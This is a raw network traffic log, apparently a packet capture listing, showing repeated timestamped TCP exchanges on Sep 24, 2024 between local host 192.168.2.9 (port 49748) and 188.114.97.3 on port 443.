Sep 24, 2024 06:30:26.488003969 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488013983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488038063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488054037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488065004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488075972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488115072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488121986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488132000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488185883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488197088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488213062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488394976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488405943 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488420963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488534927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488534927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488554001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488574028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488595009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488733053 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488733053 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488748074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488784075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488801956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488818884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488856077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488863945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.488914967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.488924026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.489069939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.489069939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.489233017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.489233971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:26.695404053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:26.695487022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.131406069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.131537914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.778989077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779021978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779038906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779139996 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779150963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779171944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779185057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779201984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779211998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779242039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779252052 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779273987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779289961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779315948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779335976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779342890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779355049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779370070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779398918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779412031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779437065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779448032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779459953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779516935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779529095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779556990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779622078 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779633045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779642105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779665947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779690027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779731035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779824018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779892921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.779906988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.779989958 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:27.987417936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:27.987540007 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292264938 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292279959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292295933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292310953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292407036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292423010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292592049 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292613983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292645931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292670965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292829037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292840004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292867899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292886019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292917013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292917013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.292927027 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292939901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.292977095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293000937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293245077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293265104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293309927 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293320894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293338060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293390036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293405056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293431997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293452978 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293461084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293509960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293526888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293572903 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293581963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293711901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293730974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293735981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293759108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293936014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.293951988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.293975115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294024944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294034004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294071913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294085979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294104099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294121027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294136047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294255018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294262886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294409037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294424057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294476032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294583082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294583082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.294591904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.294748068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.499458075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.499629021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:28.923448086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:28.923549891 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.755431890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.755573034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.944879055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.944899082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.944911003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.944973946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.944973946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.944989920 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.944998026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945003986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945017099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945101023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945101023 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945132017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945154905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945169926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945225954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945343018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945353985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945374966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945379019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945528984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945535898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945554018 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945588112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945610046 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945624113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945662022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945692062 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945703030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945725918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945806026 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945822001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:29.945965052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:29.945965052 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.155394077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.155472994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.455955029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.455981970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456001997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456017017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456131935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456150055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456170082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456187963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456213951 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456222057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456376076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456376076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456384897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456393957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456418991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456439972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456454992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456470966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456476927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456542969 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456549883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456739902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456748962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456789017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456799030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456815004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456871033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456882000 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456968069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.456975937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.456994057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457011938 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457032919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457091093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457099915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457119942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457223892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457232952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457243919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457271099 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457278013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457396030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457396030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457406044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457427025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457448959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457458973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457477093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457504034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457523108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457536936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.457612038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457679987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457777977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.457801104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:30.667404890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:30.667510986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:31.103408098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:31.103631020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:31.935415983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:31.935538054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.173496962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.173517942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173537970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173664093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.173679113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173688889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173876047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.173882008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173898935 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173911095 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173949957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.173954010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.173963070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174043894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.174082041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174163103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174155951 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.174284935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.174371958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174443960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174582005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.174582005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.174628973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174686909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174727917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.174741030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.174848080 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.175033092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.379420996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.379530907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.488693953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.488718033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.488742113 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.488765001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.488926888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.488934994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.488955975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.488982916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489008904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489016056 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489033937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489099979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489109993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489121914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489187002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489195108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489257097 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489265919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489285946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489326000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489332914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489414930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489424944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489444017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489501953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489510059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489552021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489559889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489578009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489615917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489633083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489656925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489697933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489705086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489712954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489762068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489769936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489835024 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489844084 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489869118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489892960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.489907980 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.489970922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.490046978 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.490056038 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.490109921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.490176916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:32.699412107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:32.699481964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:33.119417906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:33.119472980 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:33.947411060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:33.947694063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.320302010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.320331097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320346117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320353985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320487976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.320502996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320523024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320684910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.320703030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320714951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320729017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320878983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.320888042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:34.320923090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:34.320930958 CEST	443	49748	188.114.97.3	192.168.2.9
